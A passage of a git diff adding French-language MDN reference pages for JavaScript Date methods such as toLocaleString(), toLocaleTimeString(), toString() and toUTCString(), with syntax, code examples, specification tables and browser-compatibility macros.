dateObj.toLocaleDateString([locales [, options]])
+ +

Paramètres

+ +

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

+ +

{{page('fr/docs/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}

+ +

La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés weekday, year, month, day sont toutes undefined, on suppose alors que year, month, et day sont « numériques ».

+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le jour de la date indiquée selon des options de locales.

+ +

Exemples

+ +

Utiliser toLocaleDateString()

+ +

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

+ +
var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleDateString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+date.toLocaleDateString();
+// → "12/12/2012" si exécuté dans une locale fr et le fuseau horaire CEST
+ +

Vérifier le support des arguments locales et options

+ +

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception RangeError :

+ +
function toLocaleDateStringSupportsLocales() {
+    try {
+        new Date().toLocaleDateString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+
+ +

Utiliser l'argument locales

+ +

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise l'ordre mois-jour-année
+alert(date.toLocaleDateString("en-US"));
+// → "12/20/2012"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+alert(date.toLocaleDateString("en-GB"));
+// → "20/12/2012"
+
+// le coréen utilise l'ordre année-mois-jour
+alert(date.toLocaleDateString("ko-KR"));
+// → "2012. 12. 20."
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+alert(date.toLocaleDateString("ar-EG"));
+// → "٢٠‏/١٢‏/٢٠١٢"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+alert(date.toLocaleDateString("ja-JP-u-ca-japanese"));
+// → "24/12/20"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+alert(date.toLocaleDateString(["ban", "id"]));
+// → "20/12/2012"
+
+ +

Utiliser l'argument options

+ +

Les résultats fournis par toLocaleDateString() peuvent être personnalisés grâce à l'argument options :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// fournir le jour de la semaine avec une date longe
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+alert(date.toLocaleDateString("de-DE", options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser
+// UTC et l'afficher
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+alert(date.toLocaleDateString("en-US", options));
+// → "Thursday, December 20, 2012, GMT"
+
+ +

Performance

+ +

Lorsque des grands nombres ou de grandes dates sont formatés, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', 'sec-15.9.5.6', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleDateString', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toLocaleDateString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/date/tolocalestring/index.html new file mode 100644 index 0000000000..7ff28d169a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tolocalestring/index.html @@ -0,0 +1,204 @@ +--- +title: Date.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleString +tags: + - Date + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() renvoie une chaine de caractères représentant la date selon une locale. Les arguments locales et options permettent aux applications de définir le langage à utiliser pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

+ +
{{EmbedInteractiveExample("pages/js/date-tolocalestring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toLocaleString([locales [, options]])
+ +

Paramètres

+ +

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}

+ +

La valeur par défaut de chacun des composants de la date-heure vaut {{jsxref("undefined")}}, mais si les propriétés weekday, year, month, day, hour, minute, second sont toutes {{jsxref("undefined")}},  alors  weekday, year, month, day, hour, minute et second sont supposés être "numeric".

+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée selon des conventions de locales spécifiques.

+ +

Exemples

+ +

Utiliser toLocaleString()

+ +

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

+ +
var date = new Date(Date.UTC(2014, 11, 21, 3, 0, 0));
+
+// toLocaleString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+date.toLocaleString();
+// → "21/12/2014 04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST
+ +

Vérifier le support des arguments locales et options

+ +

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception {{jsxref("RangeError")}} :

+ +
function toLocaleStringSupportsLocales() {
+    try {
+        new Date().toLocaleString("i");
+    } catch (e) {
+        return e​ instanceof RangeError;
+    }
+    return false;
+}
+
+ +

Utiliser locales

+ +

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+l'anglais américain utilise l'ordre mois-jour-année
+console.log(date.toLocaleString("en-US"));
+// → "12/20/2012, 4:00:00 AM"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+console.log(date.toLocaleString("en-GB"));
+// → "20/12/2012 04:00:00"
+
+// le coréen utilise l'ordre année-mois-jour
+console.log(date.toLocaleString("ko-KR"));
+// → "2012. 12. 20. 오전 4:00:00"
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(date.toLocaleString("ar-EG"));
+// → "٢٠‏/١٢‏/٢٠١٢ ٤:٠٠:٠٠ ص"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+console.log(date.toLocaleString("ja-JP-u-ca-japanese"));
+// → "24/12/20 4:00:00"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(date.toLocaleString(["ban", "id"]));
+// → "20/12/2012 04.00.00"
+
+ +

Utiliser options

+ +

Les résultats fournis par toLocaleString() peuvent être personnalisés grâce à l'argument options :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// obtenir le jour de la semaine avec une date longue
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+console.log(date.toLocaleString("de-DE", options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser UTC et le rendre visible
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+console.log(date.toLocaleString("en-US", options));
+// → "Thursday, December 20, 2012, GMT"
+
+// parfois, même les USA ont besoin d'avoir une heure sur 24h
+console.log(date.toLocaleString("en-US", {hour12: false}));
+// → "12/19/2012, 19:00:00"
+
+ +

Comparaison des dates formatées et des valeurs statiques

+ +

La plupart du temps, le format renvoyé par toLocaleString() est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.

+ +

Aussi, mieux vaut ne pas comparer un résultat fourni par format() avec une valeur statique :

+ +
"1.1.2019, 01:00:00" === new Date("2019-01-01T00:00:00.000000Z").toLocaleString();
+// true pour Firefox et les autres
+// false pour IE et Edge
+
+ +
+

Note : Voir aussi ce fil StackOverflow pour plus de détails et d'exemples.

+
+ +

Performance

+ +

Quand vous formatez d'importants volumes de dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie via la propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.5', 'Date.prototype.toLocaleString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}{{Spec2('ESDraft')}}
{{SpecName('ES Int 1.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleString', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toLocaleString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.html b/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.html new file mode 100644 index 0000000000..c0c6c93020 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.html @@ -0,0 +1,178 @@ +--- +title: Date.prototype.toLocaleTimeString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleTimeString +tags: + - Date + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString +--- +
{{JSRef}}
+ +

La méthode toLocaleTimeString() renvoie une chaine de caractères correspondant à l'heure dans la date, exprimée selon une locale. Les arguments locales et options permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

+ +
{{EmbedInteractiveExample("pages/js/date-tolocaletimestring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toLocaleTimeString([locales [, options]])
+ +

Paramètres

+ +

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Param.C3.A8tres')}}

+ +

La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés hour, minute, second sont toutes undefined, on suppose alors que hour, minute, et second sont "numeric".

+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente l'heure de la date indiquée selon des conventions de locales spécifiques.

+ +

Exemples

+ +

Utiliser toLocaleTimeString()

+ +

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

+ +
var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleTimeString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+console.log(date.toLocaleTimeString());
+// → "04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST
+ +

Vérifier le support des arguments locales et options

+ +

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception RangeError :

+ +
function toLocaleTimeStringSupportsLocales() {
+    try {
+        new Date().toLocaleTimeString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+
+ +

Utiliser locales

+ +

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise une heure sur 12h avec AM/PM
+console.log(date.toLocaleTimeString("en-US"));
+// → "4:00:00 AM"
+
+// l'anglais britanique utilise une heure sur 24h
+console.log(date.toLocaleTimeString("en-GB"));
+// → "04:00:00"
+
+// le coréen  utilise une heure sur 12h avec AM/PM
+console.log(date.toLocaleTimeString("ko-KR"));
+// → "오전 4:00:00"
+
+/ l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(date.toLocaleTimeString("ar-EG"));
+// → "٤:٠٠:٠٠ ص"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(date.toLocaleTimeString(["ban", "id"]));
+// → "4.00.00"
+
+ +

Utiliser options

+ +

Les résultats fournis par toLocaleTimeString() peuvent être personnalisés grâce à l'argument options :

+ +
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// une application peut vouloir utiliser UTC et le montrer
+var options = {timeZone: "UTC", timeZoneName: "short"};
+console.log(date.toLocaleTimeString("en-US", options));
+// → "3:00:00 AM GMT"
+
+// parfois, même les USA ont besoin du format sur 24h
+console.log(date.toLocaleTimeString("en-US", {hour12: false}));
+// → "19:00:00"
+
+ +

Performance

+ +

Pour formater de nombreuses dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.7', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleTimeString', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toLocaleTimeString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tosource/index.html b/files/fr/web/javascript/reference/global_objects/date/tosource/index.html new file mode 100644 index 0000000000..9f153778cb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tosource/index.html @@ -0,0 +1,57 @@ +--- +title: Date.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toSource +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource +--- +
{{JSRef}} {{Non-standard_header}}
+ +

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

+ +

Syntaxe

+ +
dateObj.toSource()
+Date.toSource()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant le code source de l'objet date indiqué.

+ +

Description

+ +

La méthode toSource() renvoie les valeur suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("Date")}}, toSource() renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible :
    • +
+ +
function Date() {
+    [native code]
+}
+ +
    +
  • Pour les instances de {{jsxref("Date")}}, toSource() renvoie une chaîne de caractères représentant le code source.
    • +
+ +

Cette méthode est habituellement appelée en interne par le moteur JavaScript et non explicitement dans le code d'un script.

+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Implémentée dans JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/tostring/index.html b/files/fr/web/javascript/reference/global_objects/date/tostring/index.html new file mode 100644 index 0000000000..82fd8dfb5e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/tostring/index.html @@ -0,0 +1,135 @@ +--- +title: Date.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toString +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}}.

+ +
{{EmbedInteractiveExample("pages/js/date-tostring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée.

+ +

Description

+ +

L'objet {{jsxref("Date")}} remplace la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref("Date")}}, la méthode toString() renvoie une représentation textuelle de l'objet.

+ +

La méthode toString() renvoie toujours une chaîne de caractères représentant une date en anglais américain. Ce format a été standardisé avec ES2018 et peut être décrit de la façon suivante :

+ +
    +
  • Le jour de la semaine avec les trois premières lettres du jour en anglais (ex. « Sat »)
    • +
  • Un espace
    • +
  • Le mois avec les trois premières lettres du mois en anglais (ex. « Sep »)
    • +
  • Un espace
    • +
  • La date du jour dans le mois sur deux chiffres (ex. « 01 »)
    • +
  • Un espace
    • +
  • L'année sur 4 chiffres (ex. « 2018 »)
    • +
  • Un espace
    • +
  • L'heure sur deux chiffres (ex. « 14 »)
    • +
  • Un deux-points (:)
    • +
  • Les minutes sur deux chiffres (ex. « 53 »)
    • +
  • Un deux-points (:)
    • +
  • Les secondes sur deux chiffres (ex. « 26 »)
    • +
  • Un espace
    • +
  • La chaîne de caractères « GMT »
    • +
  • Le signe du décalage horaire par rapport à GMT : +
      +
    • La chaîne "+" pour les décalages positifs (0 ou plus)
      • +
    • La chaîne "-" pour les décalages strictement négatifs
      • +
    +
    • +
  • L'heure de décalage sur deux chiffres
    • +
  • Les minutes de décalage sur deux chiffres
    • +
  • Et, éventuellement, le nom du fuseau horaire avec +
      +
    • Un espace
      • +
    • Une parenthèse ouvrante (« ( »)
      • +
    • Une chaîne de caractères, pouvant varier selon l'implémentation, qui désigne le fuseau horaire. Ce peut être une abréviation ou un nom complet.
      • +
    • Une parenthèse fermante (« ) »)
      • +
    +
    • +
+ +

Avant ES2018, le format de la chaîne de caractères renvoyé pouvait varier selon l'implémentation.

+ +

JavaScript appelle la méthode toString() automatiquement quand une date doit être representée sous forme d'un texte ou quand une date est référencée lors d'une concatenation de chaînes de caractères.

+ +

toString() est une méthode générique. Si this n'est pas une instance de {{jsxref("Date")}}, elle renverra "Invalid Date".

+ +

Exemples

+ +

Utiliser toString()

+ +

L'exemple suivant assigne la valeur de toString() de l'objet Date à maVar :

+ +
var x = new Date();
+var maVar = x.toString(); // assigne une valeur à maVar similaire à :
+// Mon Sep 28 1998 14:36:22 GMT-0700 (PDT)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ES2018', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ES2018')}}Standardisation du format produit par Date.prototype.toString()
{{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
  • {{jsxref("Date.prototype.toDateString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toTimeString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/totimestring/index.html b/files/fr/web/javascript/reference/global_objects/date/totimestring/index.html new file mode 100644 index 0000000000..fb27f7003d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/totimestring/index.html @@ -0,0 +1,88 @@ +--- +title: Date.prototype.toTimeString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toTimeString +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toTimeString +--- +
{{JSRef}}
+ +

La méthode toTimeString()renvoie la partie « heure » de l'objet Date dans un format lisible par un humain, en anglais américain.

+ +
{{EmbedInteractiveExample("pages/js/date-totimestring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toTimeString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente l'heure de la date indiquée dans un format anglais américain.

+ +

Description

+ +

Une instance de {{jsxref("Date")}} représente un instant précis dans le temps. Appeler {{jsxref("Date.toString", "toString()")}} renverra la date formatée de façon à être lisible par un humain, en anglais américain. Pour le moteur JavaScript SpiderMonkey, ceci consiste en la partie « date » (jour, mois, année) suivie de la partie « heure » (heures, minutes, secondes, et fuseau horaire). Parfois, il est préférable d'obtenir seulement la partie « heure » ; c'est ce que renvoie la méthode toTimeString().

+ +

La méthode toTimeString() est particulièrement utile parce que les moteurs implémentant ECMA-262 peuvent obtenir des résultats différents avec la méthode {{jsxref("Date.prototype.toString()", "toString()")}} (en effet, le format dépend de l'implémentation). Ceci peut empêcher les manipulations de textes simples d'avoir des résultats cohérents au sein des différents moteurs/navigateurs.

+ +

Exemple

+ +

Utiliser toTimeString()

+ +
var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toTimeString()); // 14:39:07 GMT-0600 (PDT)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toTimeString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • +
  • {{jsxref("Date.prototype.toDateString()")}}
    • +
  • {{jsxref("Date.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.html new file mode 100644 index 0000000000..d22f0d3346 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.html @@ -0,0 +1,92 @@ +--- +title: Date.prototype.toUTCString() +slug: Web/JavaScript/Reference/Objets_globaux/Date/toUTCString +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString +--- +
{{JSRef}}
+ +

La méthode toUTCString() convertit une date en une chaîne de caractères, selon le fuseau horaire UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-toutcstring.html")}}
+ + + +

Syntaxe

+ +
dateObj.toUTCString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant la date indiquée selon le fuseau horaire UTC.

+ +

Description

+ +

La valeur renvoyée par toUTCString() est un texte au même format que celui renvoyé {{jsxref("Date.prototype.toString()")}} mais sans décalage de fuseau horaire (en UTC).

+ +

Avant ECMAScript 2018, le format de la valeur renvoyée pouvait varier selon les plateformes. La valeur la plus couramment renvoyée était une date formatée selon la RFC 1123, qui est une version mise à jour de la RFC 822.

+ +

Exemples

+ +

Utiliser toUTCString()

+ +
var aujourdhui = new Date();
+var UTCstring = aujourdhui.toUTCString();
+// Mon, 03 Jul 2006 21:44:38 GMT
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3. Le format dépend de l'implémentation.
{{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ES6')}} 
{{SpecName('ES2018', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ES2018')}}Première standardisation du format
{{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.toUTCString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toDateString()")}}
    • +
  • {{jsxref("Date.prototype.toISOString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/utc/index.html b/files/fr/web/javascript/reference/global_objects/date/utc/index.html new file mode 100644 index 0000000000..71bbe40f62 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/utc/index.html @@ -0,0 +1,137 @@ +--- +title: Date.UTC() +slug: Web/JavaScript/Reference/Objets_globaux/Date/UTC +tags: + - Date + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC +--- +
{{JSRef}}
+ +

